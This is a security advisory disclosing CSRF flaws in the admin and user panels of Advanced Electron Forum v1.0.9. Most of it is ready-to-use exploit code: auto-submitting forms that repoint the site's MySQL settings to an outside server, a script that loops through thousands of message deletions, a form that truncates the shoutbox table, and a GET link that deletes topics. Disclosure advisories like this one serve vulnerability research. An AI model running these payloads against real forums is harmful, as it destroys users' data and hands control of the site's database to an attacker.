1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 |
[+] Credits: hyp3rlinx [+] Website: hyp3rlinx.altervista.org [+] Source:http://hyp3rlinx.altervista.org/advisories/AEF-CSRF.txt Vendor: ============================= www.anelectron.com/downloads/ Product: ==================================== Advanced Electron Forum v1.0.9 (AEF) Exploit patched current version. Vulnerability Type: =================== CSRF CVE Reference: ============== N/A Vulnerability Details: ===================== In Admin panel no CSRF protections exist in multiple areas allowing remote attackers to make HTTP request on behalf of the victim if they currently have a valid session (logged in) and visit or click an infected link, resulting in some of the following destructions. 0x01: Change current database settings 0x02: Delete all Inbox / Sent Emails 0x03: Delete all 'shouts' 0x04: Delete all Topics by the way, edit profile, avatar and more all seem vulnerable as well.. Exploit code(s): =============== CSRF 0x01: change mysql db settings note: however you will need to know or guess the database name. <form id="DOOM" accept-charset="ISO-8859-1" action=" http://localhost/AEF(1.0.9)_Install/index.php?act=admin&adact=conpan&seadact=mysqlset" method="post" name="mysqlsetform"> <input type="hidden" name="server" value="hyp3rlinx.altervista.org" /> <input type="hidden" name="user" value="hyp3rlinx" /> <input type="hidden" name="password" value="DESTROYED" /> <input type="hidden" name="database" value="AEF" /> <input type="hidden" name="dbprefix" value="aef_" /> <script>document.getElementById('DOOM').submit()</script> </form> CSRF 0x02: Delete all Inbox / Sent emails... <iframe name="demonz" style="display:none" name="hidden-form"></iframe> <form id="DESTRUCT" target="demonz" action=" http://localhost/AEF(1.0.9)_Install/index.php?act=usercp&ucpact=sentitems" method="post"> <input type="hidden" id="sent" name="list[]"/> <input type="hidden" name="deleteselsent" value="Delete+Selected" /> </form> <form id="DOOM" target="demonz" action=" http://localhost/AEF(1.0.9)_Install/index.php?act=usercp&ucpact=inbox" method="post"> <input type="hidden" id="inbox" name="list[]"/> <input type="hidden" name="deleteselinbox" value="Delete+Selected" /> </form> <script> //Sent Email IDs seem to be stored using even numbers 2,4,6 etc... //Inbox Email IDs seem to use odd numbers var c=-1 var uwillsuffer; var amttodelete=10000 var inbox=document.getElementById("inbox") var outbox=document.getElementById("sent") function RUIN_EVERYTHING(){ c++ //Inbox IDs are even numbered Sent are odd. if(c % 2 == 0){ arguments[3].value=c document.getElementById(arguments[1]).submit() }else{ arguments[2].value=c document.getElementById(arguments[0]).submit() } if(c>=amttodelete){ clearInterval(uwillsuffer) alert("Done!") } } uwillsuffer = setInterval(RUIN_EVERYTHING, 1000, "DOOM", "DESTRUCT", inbox, outbox) </script> CSRF 0x03: Delete all 'Shouts' <form accept-charset="ISO-8859-1" id="SPECTOR_OF_HATE" action=" http://localhost/AEF(1.0.9)_Install/index.php?act=admin&adact=conpan&seadact=shoutboxset" method="post"> <input type="hidden" name="shouts" value="10" /> <input type="hidden" name="shoutboxtime" value="1440" /> <input type="hidden" name="shoutbox_emot" value="on" /> <input type="hidden" name="shoutbox_nbbc" value="on" /> <input type="hidden" name="truncatetable" value="on" /> <input type="hidden" name="delallshouts" value="Delete" /> <script>document.getElementById('SPECTOR_OF_HATE').submit()</script> </form> CSRF 0x04: Delete all 'Topics' via simple GET request, this will delete topics 1 thru 7... http://localhost/AEF(1.0.9)_Install/index.php?act=deletetopic&topid=7,6,5,4,3,2,1 Disclosure Timeline: ======================================= Vendor Notification:NA January 17, 2016 : Public Disclosure Exploitation Technique: ====================== Remote Severity Level: ================ High Description: =================================================================== Request Method(s): [+] POST / GET Vulnerable Product:[+] AEF v1.0.9 (exploit patched version) =================================================================== [+] Disclaimer Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and prohibits any malicious use of all security related information or exploits by the author or elsewhere. by hyp3rlinx |